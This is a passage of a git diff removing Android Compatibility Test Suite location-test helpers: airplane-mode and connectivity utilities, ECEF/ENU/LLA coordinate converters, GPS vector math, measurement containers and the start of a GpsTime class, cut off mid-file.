-    public static boolean deviceHasGpsFeature(Context context) {
-        // If device does not have a GPS, skip the test.
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS)) {
-            return true;
-        }
-        Log.w(TAG, "GPS feature not present on device, skipping GPS test.");
-        return false;
-    }
-
-    /**
-     * Returns whether the device is currently connected to a wifi or cellular.
-     *
-     * @param context {@link Context} object
-     * @return {@code true} if connected to Wifi or Cellular; {@code false} otherwise
-     */
-    public static boolean isConnectedToWifiOrCellular(Context context) {
-        NetworkInfo info = getActiveNetworkInfo(context);
-        return info != null
-                && info.isConnected()
-                && (info.getType() == ConnectivityManager.TYPE_WIFI
-                || info.getType() == ConnectivityManager.TYPE_MOBILE);
-    }
-
-    /**
-     * Gets the active network info.
-     *
-     * @param context {@link Context} object
-     * @return {@link NetworkInfo}
-     */
-    private static NetworkInfo getActiveNetworkInfo(Context context) {
-        ConnectivityManager cm = getConnectivityManager(context);
-        if (cm != null) {
-            return cm.getActiveNetworkInfo();
-        }
-        return null;
-    }
-
-    /**
-     * Gets the connectivity manager.
-     *
-     * @param context {@link Context} object
-     * @return {@link ConnectivityManager}
-     */
-    public static ConnectivityManager getConnectivityManager(Context context) {
-        return (ConnectivityManager) context.getApplicationContext()
-                .getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    /**
-     * Returns {@code true} if the setting {@code airplane_mode_on} is set to 1.
-     */
-    public static boolean isAirplaneModeOn() {
-        return SystemUtil.runShellCommand("settings get global airplane_mode_on")
-                .trim().equals("1");
-    }
-
-    /**
-     * Changes the setting {@code airplane_mode_on} to 1 if {@code enableAirplaneMode}
-     * is {@code true}. Otherwise, it is set to 0.
-     *
-     * <p>Waits for a certain time duration for network connections to turn on/off based on
-     * {@code enableAirplaneMode}.
-     */
-    public static void setAirplaneModeOn(Context context,
-            boolean enableAirplaneMode) throws InterruptedException {
-        Log.i(TAG, "Setting airplane_mode_on to " + enableAirplaneMode);
-        SystemUtil.runShellCommand("cmd connectivity airplane-mode "
-                + (enableAirplaneMode ? "enable" : "disable"));
-
-        // Wait for a few seconds until the airplane mode changes take effect. The airplane mode on
-        // state and the WiFi/cell connected state are opposite. So, we wait while they are the
-        // same or until the specified time interval expires.
-        //
-        // Note that in unusual cases where the WiFi/cell are not in a connected state before
-        // turning on airplane mode, then turning off airplane mode won't restore either of
-        // these connections, and then the wait time below will be wasteful.
-        int dataConnectionCheckCount = DATA_CONNECTION_CHECK_COUNT;
-        while (enableAirplaneMode == isConnectedToWifiOrCellular(context)) {
-            if (--dataConnectionCheckCount <= 0) {
-                Log.w(TAG, "Airplane mode " + (enableAirplaneMode ? "on" : "off")
-                        + " setting did not take effect on WiFi/cell connected state.");
-                return;
-            }
-            Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
-        }
-    }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
deleted file mode 100644
index eece5b4..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/Ecef2EnuConverter.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import org.apache.commons.math.linear.Array2DRowRealMatrix;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to local ENU (East, North,
- * and Up).
- *
- * <p> Source: reference from Navipedia:
- * http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
- */
-
-public class Ecef2EnuConverter {
-
-  /**
-   * Converts a vector represented by coordinates ecefX, ecefY, ecefZ in an
-   * Earth-Centered Earth-Fixed (ECEF) Cartesian system into a vector in a
-   * local east-north-up (ENU) Cartesian system.
-   *
-   * <p> For example it can be used to rotate a speed vector or position offset vector to ENU.
-   *
-   * @param ecefX X coordinates in ECEF
-   * @param ecefY Y coordinates in ECEF
-   * @param ecefZ Z coordinates in ECEF
-   * @param refLat Latitude in Radians of the Reference Position
-   * @param refLng Longitude in Radians of the Reference Position
-   * @return the converted values in {@code EnuValues}
-   */
-  public static EnuValues convertEcefToEnu(double ecefX, double ecefY, double ecefZ,
-      double refLat, double refLng){
-
-    RealMatrix rotationMatrix = getRotationMatrix(refLat, refLng);
-    RealMatrix ecefCoordinates = new Array2DRowRealMatrix(new double[]{ecefX, ecefY, ecefZ});
-
-    RealMatrix enuResult = rotationMatrix.multiply(ecefCoordinates);
-    return new EnuValues(enuResult.getEntry(0, 0),
-        enuResult.getEntry(1, 0), enuResult.getEntry(2 , 0));
-  }
-
-  /**
-   * Computes a rotation matrix for converting a vector in Earth-Centered Earth-Fixed (ECEF)
-   * Cartesian system into a vector in local east-north-up (ENU) Cartesian system with respect to
-   * a reference location. The matrix has the following content:
-   *
-   * - sinLng                     cosLng            0
-   * - sinLat * cosLng      - sinLat * sinLng      cosLat
-   *   cosLat * cosLng        cosLat * sinLng      sinLat
-   *
-   * <p> Reference: Pratap Misra and Per Enge
-   * "Global Positioning System: Signals, Measurements, and Performance" Page 137.
-   *
-   * @param refLat Latitude of reference location
-   * @param refLng Longitude of reference location
-   * @return the Ecef to Enu rotation matrix
-   */
-  public static RealMatrix getRotationMatrix(double refLat, double refLng){
-    RealMatrix rotationMatrix = new Array2DRowRealMatrix(3, 3);
-
-    // Fill in the rotation Matrix
-    rotationMatrix.setEntry(0, 0, -1 * Math.sin(refLng));
-    rotationMatrix.setEntry(1, 0, -1 * Math.cos(refLng) * Math.sin(refLat));
-    rotationMatrix.setEntry(2, 0, Math.cos(refLng) * Math.cos(refLat));
-    rotationMatrix.setEntry(0, 1, Math.cos(refLng));
-    rotationMatrix.setEntry(1, 1, -1 * Math.sin(refLat) * Math.sin(refLng));
-    rotationMatrix.setEntry(2, 1, Math.cos(refLat) * Math.sin(refLng));
-    rotationMatrix.setEntry(0, 2, 0);
-    rotationMatrix.setEntry(1, 2, Math.cos(refLat));
-    rotationMatrix.setEntry(2, 2, Math.sin(refLat));
-    return rotationMatrix;
-  }
-
-  /**
-   * A container for values in ENU (East, North, Up) coordination system.
-   */
-  public static class EnuValues {
-
-    /**
-     * East Coordinates in local ENU
-     */
-    public final double enuEast;
-
-    /**
-     * North Coordinates in local ENU
-     */
-    public final double enuNorth;
-
-    /**
-     * Up Coordinates in local ENU
-     */
-    public final double enuUP;
-
-    /**
-     * Constructor
-     */
-    public EnuValues(double enuEast, double enuNorth, double enuUP){
-      this.enuEast = enuEast;
-      this.enuNorth = enuNorth;
-      this.enuUP = enuUP;
-    }
-   }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java b/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
deleted file mode 100644
index 1d21603..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/Ecef2LlaConverter.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude, longitude,
- * and altitude).
- *
- * <p> Source: reference from Mathworks: https://microem.ru/files/2012/08/GPS.G1-X-00006.pdf
- * and http://www.mathworks.com/help/aeroblks/ecefpositiontolla.html
- */
-
-public class Ecef2LlaConverter {
-  // WGS84 Ellipsoid Parameters
-  private static final double EARTH_SEMI_MAJOR_AXIS_METERS = 6378137.0;
-  private static final double ECCENTRICITY = 8.1819190842622e-2;
-  private static final double INVERSE_FLATENNING = 298.257223563;
-  private static final double MIN_MAGNITUDE_METERS = 1.0e-22;
-  private static final double MAX_ITERATIONS = 15;
-  private static final double RESIDUAL_TOLERANCE = 1.0e-6;
-  private static final double SEMI_MINOR_AXIS_METERS =
-      Math.sqrt(Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) * (1 - Math.pow(ECCENTRICITY, 2)));
-  private static final double SECOND_ECCENTRICITY = Math.sqrt(
-      (Math.pow(EARTH_SEMI_MAJOR_AXIS_METERS, 2) - Math.pow(SEMI_MINOR_AXIS_METERS, 2))
-      / Math.pow(SEMI_MINOR_AXIS_METERS, 2));
-  private static final double ECEF_NEAR_POLE_THRESHOLD_METERS = 1.0;
-
-  /**
-  * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
-  * longitude, and altitude) using the close form approach
-  *
-  * <p>Inputs are cartesian coordinates x,y,z
-  *
-  * <p>Output is GeodeticLlaValues class containing geodetic latitude (radians), geodetic longitude
-  * (radians), height above WGS84 ellipsoid (m)}
-  */
-  public static GeodeticLlaValues convertECEFToLLACloseForm(double ecefXMeters, double ecefYMeters,
-      double ecefZMeters) {
-
-    // Auxiliary parameters
-    double pMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
-    double thetaRadians =
-        Math.atan2(EARTH_SEMI_MAJOR_AXIS_METERS * ecefZMeters, SEMI_MINOR_AXIS_METERS * pMeters);
-
-    double lngRadians = Math.atan2(ecefYMeters, ecefXMeters);
-    // limit longitude to range of 0 to 2Pi
-    lngRadians = lngRadians % (2 * Math.PI);
-
-    final double sinTheta = Math.sin(thetaRadians);
-    final double cosTheta = Math.cos(thetaRadians);
-    final double tempY = ecefZMeters
-        + Math.pow(SECOND_ECCENTRICITY, 2) * SEMI_MINOR_AXIS_METERS * Math.pow(sinTheta, 3);
-    final double tempX = pMeters
-        - Math.pow(ECCENTRICITY, 2) * EARTH_SEMI_MAJOR_AXIS_METERS * (Math.pow(cosTheta, 3));
-    double latRadians = Math.atan2(tempY, tempX);
-    // Radius of curvature in the vertical prime
-    double curvatureRadius = EARTH_SEMI_MAJOR_AXIS_METERS
-        / Math.sqrt(1 - Math.pow(ECCENTRICITY, 2) * (Math.pow(Math.sin(latRadians), 2)));
-    double altMeters = (pMeters / Math.cos(latRadians)) - curvatureRadius;
-
-    // Correct for numerical instability in altitude near poles
-    boolean polesCheck = Math.abs(ecefXMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS
-        && Math.abs(ecefYMeters) < ECEF_NEAR_POLE_THRESHOLD_METERS;
-    if (polesCheck) {
-      altMeters = Math.abs(ecefZMeters) - SEMI_MINOR_AXIS_METERS;
-    }
-
-    return  new GeodeticLlaValues(latRadians, lngRadians, altMeters);
-  }
-
-   /**
-   * Converts ECEF (Earth Centered Earth Fixed) Cartesian coordinates to LLA (latitude,
-   * longitude, and altitude) using iteration approach
-   *
-   * <p>Inputs are cartesian coordinates x,y,z.
-   *
-   * <p>Outputs is GeodeticLlaValues containing geodetic latitude (radians), geodetic longitude
-   * (radians), height above WGS84 ellipsoid (m)}
-   */
-  public static GeodeticLlaValues convertECEFToLLAByIterations(double ecefXMeters,
-      double ecefYMeters, double ecefZMeters) {
-
-    double xyLengthMeters = Math.sqrt(Math.pow(ecefXMeters, 2) + Math.pow(ecefYMeters, 2));
-    double xyzLengthMeters = Math.sqrt(Math.pow(xyLengthMeters, 2) + Math.pow(ecefZMeters, 2));
-
-    double lngRad;
-    if (xyLengthMeters > MIN_MAGNITUDE_METERS) {
-      lngRad = Math.atan2(ecefYMeters, ecefXMeters);
-    } else {
-      lngRad = 0;
-    }
-
-    double sinPhi;
-    if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
-      sinPhi = ecefZMeters / xyzLengthMeters;
-    } else {
-      sinPhi = 0;
-    }
-    // initial latitude (iterate next to improve accuracy)
-    double latRad = Math.asin(sinPhi);
-    double altMeters;
-    if (xyzLengthMeters > MIN_MAGNITUDE_METERS) {
-      double ni;
-      double pResidual;
-      double ecefZMetersResidual;
-      // initial height (iterate next to improve accuracy)
-      altMeters = xyzLengthMeters - EARTH_SEMI_MAJOR_AXIS_METERS
-          * (1 - sinPhi * sinPhi / INVERSE_FLATENNING);
-
-      for (int i = 1; i <= MAX_ITERATIONS; i++) {
-        sinPhi = Math.sin(latRad);
-
-        // calculate radius of curvature in prime vertical direction
-        ni = EARTH_SEMI_MAJOR_AXIS_METERS / Math.sqrt(1 - (2 - 1 / INVERSE_FLATENNING)
-            / INVERSE_FLATENNING * Math.sin(latRad) * Math.sin(latRad));
-
-        // calculate residuals in p and ecefZMeters
-        pResidual = xyLengthMeters - (ni + altMeters) * Math.cos(latRad);
-        ecefZMetersResidual = ecefZMeters
-            - (ni * (1 - (2 - 1 / INVERSE_FLATENNING) / INVERSE_FLATENNING) + altMeters)
-            * Math.sin(latRad);
-
-        // update height and latitude
-        altMeters += Math.sin(latRad) * ecefZMetersResidual + Math.cos(latRad) * pResidual;
-        latRad += (Math.cos(latRad) * ecefZMetersResidual - Math.sin(latRad) * pResidual)
-            / (ni + altMeters);
-
-        if (Math.sqrt((pResidual * pResidual + ecefZMetersResidual * ecefZMetersResidual))
-            < RESIDUAL_TOLERANCE) {
-          break;
-        }
-
-        if (i == MAX_ITERATIONS) {
-          System.err.println(
-              "Geodetic coordinate calculation did not converge in " + i + " iterations");
-        }
-      }
-    } else {
-      altMeters = 0;
-    }
-    return new GeodeticLlaValues(latRad, lngRad, altMeters);
-  }
-
-  /**
-   *
-   * Class containing geodetic coordinates: latitude in radians, geodetic longitude in radians
-   *  and altitude in meters
-   */
-  public static class GeodeticLlaValues {
-
-    public final double latitudeRadians;
-    public final double longitudeRadians;
-    public final double altitudeMeters;
-
-    public GeodeticLlaValues(double latitudeRadians,
-        double longitudeRadians, double altitudeMeters) {
-      this.latitudeRadians = latitudeRadians;
-      this.longitudeRadians = longitudeRadians;
-      this.altitudeMeters = altitudeMeters;
-    }
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java b/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
deleted file mode 100644
index f93a390..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/EcefToTopocentricConverter.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import org.apache.commons.math.linear.RealMatrix;
-
-/**
- * Transformations from ECEF coordiantes to Topocentric coordinates
- */
-public class EcefToTopocentricConverter {
-  private static final double MIN_DISTANCE_MAGNITUDE_METERS = 1.0e-22;
-  private static final int EAST_IDX = 0;
-  private static final int NORTH_IDX = 1;
-  private static final int UP_IDX = 2;
-
-  /**
-   * Transformation of {@code inputVectorMeters} with origin at {@code originECEFMeters} into
-   * topocentric coordinate system. The result is {@code TopocentricAEDValues} containing azimuth
-   * from north +ve clockwise, radians; elevation angle, radians; distance, vector length meters
-   *
-   * <p>Source: http://www.navipedia.net/index.php/Transformations_between_ECEF_and_ENU_coordinates
-   * http://kom.aau.dk/~borre/life-l99/topocent.m
-   *
-   */
-  public static TopocentricAEDValues convertCartesianToTopocentericRadMeters(
-      final double[] originECEFMeters, final double[] inputVectorMeters) {
-
-    GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(originECEFMeters[0],
-        originECEFMeters[1], originECEFMeters[2]);
-
-    RealMatrix rotationMatrix =
-        Ecef2EnuConverter.
-            getRotationMatrix(latLngAlt.latitudeRadians, latLngAlt.longitudeRadians).transpose();
-    double[] eastNorthUpVectorMeters = GpsMathOperations.matrixByColVectMultiplication(
-        rotationMatrix.transpose().getData(), inputVectorMeters);
-    double eastMeters = eastNorthUpVectorMeters[EAST_IDX];
-    double northMeters = eastNorthUpVectorMeters[NORTH_IDX];
-    double upMeters = eastNorthUpVectorMeters[UP_IDX];
-
-    // calculate azimuth, elevation and height from the ENU values
-    double horizontalDistanceMeters = Math.hypot(eastMeters, northMeters);
-    double azimuthRadians;
-    double elevationRadians;
-
-    if (horizontalDistanceMeters < MIN_DISTANCE_MAGNITUDE_METERS) {
-      elevationRadians = Math.PI / 2.0;
-      azimuthRadians = 0;
-    } else {
-      elevationRadians = Math.atan2(upMeters, horizontalDistanceMeters);
-      azimuthRadians = Math.atan2(eastMeters, northMeters);
-    }
-    if (azimuthRadians < 0) {
-      azimuthRadians += 2 * Math.PI;
-    }
-
-    double distanceMeters = Math.sqrt(Math.pow(inputVectorMeters[0], 2)
-        + Math.pow(inputVectorMeters[1], 2) + Math.pow(inputVectorMeters[2], 2));
-    return new TopocentricAEDValues(elevationRadians, azimuthRadians, distanceMeters);
-  }
-
-  /**
-   * Calculate azimuth, elevation in radians,and distance in meters between the user position in
-   * ECEF meters {@code userPositionECEFMeters} and the satellite position in ECEF meters
-   * {@code satPositionECEFMeters}
-   */
-  public static TopocentricAEDValues calculateElAzDistBetween2Points(
-      double[] userPositionECEFMeters, double[] satPositionECEFMeters) {
-
-    return convertCartesianToTopocentericRadMeters(userPositionECEFMeters,
-        GpsMathOperations.subtractTwoVectors(satPositionECEFMeters, userPositionECEFMeters));
-
-  }
-
-  /**
-   *
-   * Class containing topocenter coordinates: azimuth in radians, elevation in radians, and distance
-   * in meters
-   */
-  public static class TopocentricAEDValues {
-
-    public final double elevationRadians;
-    public final double azimuthRadians;
-    public final double distanceMeters;
-
-    public TopocentricAEDValues(double elevationRadians, double azimuthRadians,
-        double distanceMeters) {
-      this.elevationRadians = elevationRadians;
-      this.azimuthRadians = azimuthRadians;
-      this.distanceMeters = distanceMeters;
-    }
-  }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
deleted file mode 100644
index 3c76e78..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMathOperations.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-
-/**
- * Helper class containing the basic vector and matrix operations used for calculating the position
- * solution from pseudoranges
- * TODO: use standard matrix library to replace the operations in this class.
- *
- */
-public class GpsMathOperations {
-
-  /**
-   * Calculates the norm of a vector
-   */
-  public static double vectorNorm(double[] inputVector) {
-    double normSqured = 0;
-    for (int i = 0; i < inputVector.length; i++) {
-      normSqured = Math.pow(inputVector[i], 2) + normSqured;
-    }
-
-    return Math.sqrt(normSqured);
-  }
-
-  /**
-   * Subtract two vectors {@code firstVector} - {@code secondVector}. Both vectors should be of the
-   * same length.
-   */
-  public static double[] subtractTwoVectors(double[] firstVector, double[] secondVector)
-      throws ArithmeticException {
-    double[] result = new double[firstVector.length];
-    if (firstVector.length != secondVector.length) {
-      throw new ArithmeticException("Input vectors are of different lengths");
-    }
-
-    for (int i = 0; i < firstVector.length; i++) {
-      result[i] = firstVector[i] - secondVector[i];
-    }
-
-    return result;
-  }
-
-  /**
-   * Multiply a matrix {@code matrix} by a column vector {@code vector}
-   * ({@code matrix} * {@code vector}) and return the resulting vector {@resultVector}.
-   * {@code matrix} and {@vector} dimensions must match.
-   */
-  public static double[] matrixByColVectMultiplication(double[][] matrix, double[] vector)
-      throws ArithmeticException {
-    double result[] = new double[matrix.length];
-    int matrixLength = matrix.length;
-    int vectorLength = vector.length;
-    if (vectorLength != matrix[0].length) {
-      throw new ArithmeticException("Matrix and vector dimensions do not match");
-    }
-
-    for (int i = 0; i < matrixLength; i++) {
-      for (int j = 0; j < vectorLength; j++) {
-        result[i] += matrix[i][j] * vector[j];
-      }
-    }
-
-    return result;
-  }
-
-  /**
-   * Dot product of a raw vector {@code firstVector} and a column vector {@code secondVector}.
-   * Both vectors should be of the same length.
-   */
-  public static double dotProduct(double[] firstVector, double[] secondVector)
-      throws ArithmeticException {
-    if (firstVector.length != secondVector.length) {
-      throw new ArithmeticException("Input vectors are of different lengths");
-    }
-    double result = 0;
-    for (int i = 0; i < firstVector.length; i++) {
-      result = firstVector[i] * secondVector[i] + result;
-    }
-    return result;
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
deleted file mode 100644
index db3d26f..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurement.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * A container for the received GPS measurements for a single satellite.
- *
- * <p>The GPS receiver measurements includes: satellite PRN, accumulated delta range in meters,
- * accumulated delta range state (boolean), pseudorange rate in meters per second, received signal
- * to noise ratio dB, accumulated delta range uncertainty in meters, pseudorange rate uncertainty in
- * meters per second.
- */
-class GpsMeasurement {
-  /** Time since GPS week start (Nano seconds) */
-  public final long arrivalTimeSinceGpsWeekNs;
-
-  /** Accumulated delta range (meters) */
-  public final double accumulatedDeltaRangeMeters;
-
-  /** Accumulated delta range state */
-  public final boolean validAccumulatedDeltaRangeMeters; 
-
-  /** Pseudorange rate measurement (meters per second) */
-  public final double pseudorangeRateMps;  
-
-  /** Signal to noise ratio (dB) */
-  public final double signalToNoiseRatioDb;  
-
-  /** Accumulated Delta Range Uncertainty (meters) */
-  public final double accumulatedDeltaRangeUncertaintyMeters;
-
-  /** Pseudorange rate uncertainty (meter per seconds) */
-  public final double pseudorangeRateUncertaintyMps;
-  
-  public GpsMeasurement(long arrivalTimeSinceGpsWeekNs, double accumulatedDeltaRangeMeters,
-      boolean validAccumulatedDeltaRangeMeters, double pseudorangeRateMps,
-      double signalToNoiseRatioDb, double accumulatedDeltaRangeUncertaintyMeters,
-      double pseudorangeRateUncertaintyMps) {
-    this.arrivalTimeSinceGpsWeekNs = arrivalTimeSinceGpsWeekNs;
-    this.accumulatedDeltaRangeMeters = accumulatedDeltaRangeMeters;
-    this.validAccumulatedDeltaRangeMeters = validAccumulatedDeltaRangeMeters;
-    this.pseudorangeRateMps = pseudorangeRateMps;
-    this.signalToNoiseRatioDb = signalToNoiseRatioDb;
-    this.accumulatedDeltaRangeUncertaintyMeters = accumulatedDeltaRangeUncertaintyMeters;
-    this.pseudorangeRateUncertaintyMps = pseudorangeRateUncertaintyMps;
-  }  
-
-  protected GpsMeasurement(GpsMeasurement another) {
-    this(another.arrivalTimeSinceGpsWeekNs, another.accumulatedDeltaRangeMeters,
-        another.validAccumulatedDeltaRangeMeters, another.pseudorangeRateMps,
-        another.signalToNoiseRatioDb, another.accumulatedDeltaRangeUncertaintyMeters,
-        another.pseudorangeRateUncertaintyMps);
-  } 
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java b/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
deleted file mode 100644
index adf2895..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsMeasurementWithRangeAndUncertainty.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * A container for the received GPS measurements for a single satellite.
- *
- * <p>The container extends {@link GpsMeasurement} to additionally include
- * {@link #pseudorangeMeters} and {@link #pseudorangeUncertaintyMeters}.
- */
-class GpsMeasurementWithRangeAndUncertainty extends GpsMeasurement {
-
-  /** Pseudorange measurement (meters) */
-  public final double pseudorangeMeters;
-
-  /** Pseudorange uncertainty (meters) */
-  public final double pseudorangeUncertaintyMeters;
-  
-  public GpsMeasurementWithRangeAndUncertainty(GpsMeasurement another, double pseudorangeMeters,
-      double pseudorangeUncertaintyMeters) {
-    super(another);
-    this.pseudorangeMeters = pseudorangeMeters;
-    this.pseudorangeUncertaintyMeters = pseudorangeUncertaintyMeters;
-  } 
-
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java b/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
deleted file mode 100644
index ad8f736..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/GpsTime.java
+++ /dev/null
@@ -1,315 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.util.Pair;
-import com.google.common.base.Preconditions;
-import com.google.common.primitives.Longs;
-import java.util.Calendar;
-import java.util.concurrent.TimeUnit;
-import java.time.ZoneId;
-import java.time.ZonedDateTime;
-import java.time.Instant;
-import java.util.GregorianCalendar;
-
-/**
- * A simple class to represent time unit used by GPS.
- */
-public class GpsTime implements Comparable<GpsTime> {
-  public static final int MILLIS_IN_SECOND = 1000;
-  public static final int SECONDS_IN_MINUTE = 60;
-  public static final int MINUTES_IN_HOUR = 60;
-  public static final int HOURS_IN_DAY = 24;
-  public static final int SECONDS_IN_DAY =
-      HOURS_IN_DAY * MINUTES_IN_HOUR * SECONDS_IN_MINUTE;
-  public static final int DAYS_IN_WEEK = 7;
-  public static final long MILLIS_IN_DAY = TimeUnit.DAYS.toMillis(1);
-  public static final long MILLIS_IN_WEEK = TimeUnit.DAYS.toMillis(7);
-  public static final long NANOS_IN_WEEK = TimeUnit.DAYS.toNanos(7);
-  // GPS epoch is 1980/01/06
-  public static final long GPS_DAYS_SINCE_JAVA_EPOCH = 3657;
-  public static final long GPS_UTC_EPOCH_OFFSET_SECONDS =
-      TimeUnit.DAYS.toSeconds(GPS_DAYS_SINCE_JAVA_EPOCH);
-  public static final long GPS_UTC_EPOCH_OFFSET_NANOS =
-      TimeUnit.SECONDS.toNanos(GPS_UTC_EPOCH_OFFSET_SECONDS);
-  private static final ZonedDateTime LEAP_SECOND_DATE_1981 = getZonedDateTimeUTC(1981, 7, 1);
-  private static final ZonedDateTime LEAP_SECOND_DATE_2012 = getZonedDateTimeUTC(2012, 7, 1);
-  private static final ZonedDateTime LEAP_SECOND_DATE_2015 = getZonedDateTimeUTC(2015, 7, 1);
-  private static final ZonedDateTime LEAP_SECOND_DATE_2017 = getZonedDateTimeUTC(2017, 7, 1);
-  private static final long nanoSecPerSec = TimeUnit.SECONDS.toNanos(7);
-  // nanoseconds since GPS epoch (1980/1/6).
-  private long gpsNanos;
-  private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day) {
-    return getZonedDateTimeUTC(year, month, day, 0, 0, 0, 0);
-  }
-
-  private static ZonedDateTime getZonedDateTimeUTC(int year, int month, int day,
-                                                int hour, int minute, int sec, int nanoSec){
-    ZoneId zone = ZoneId.of("UTC");
-    ZonedDateTime zdt = ZonedDateTime.of(year, month, day, hour, minute, sec, nanoSec, zone);
-    return zdt;
-  }
-
-  private static long getMillisFromZonedDateTime(ZonedDateTime zdt) {
-    return zdt.toInstant().toEpochMilli();
-  }
-  /**
-   * Constructor for GpsTime. Input values are all in GPS time.
-   * @param year Year
-   * @param month Month from 1 to 12
-   * @param day Day from 1 to 31
-   * @param hour Hour from 0 to 23
-   * @param minute Minute from 0 to 59
-   * @param second Second from 0 to 59
-   */
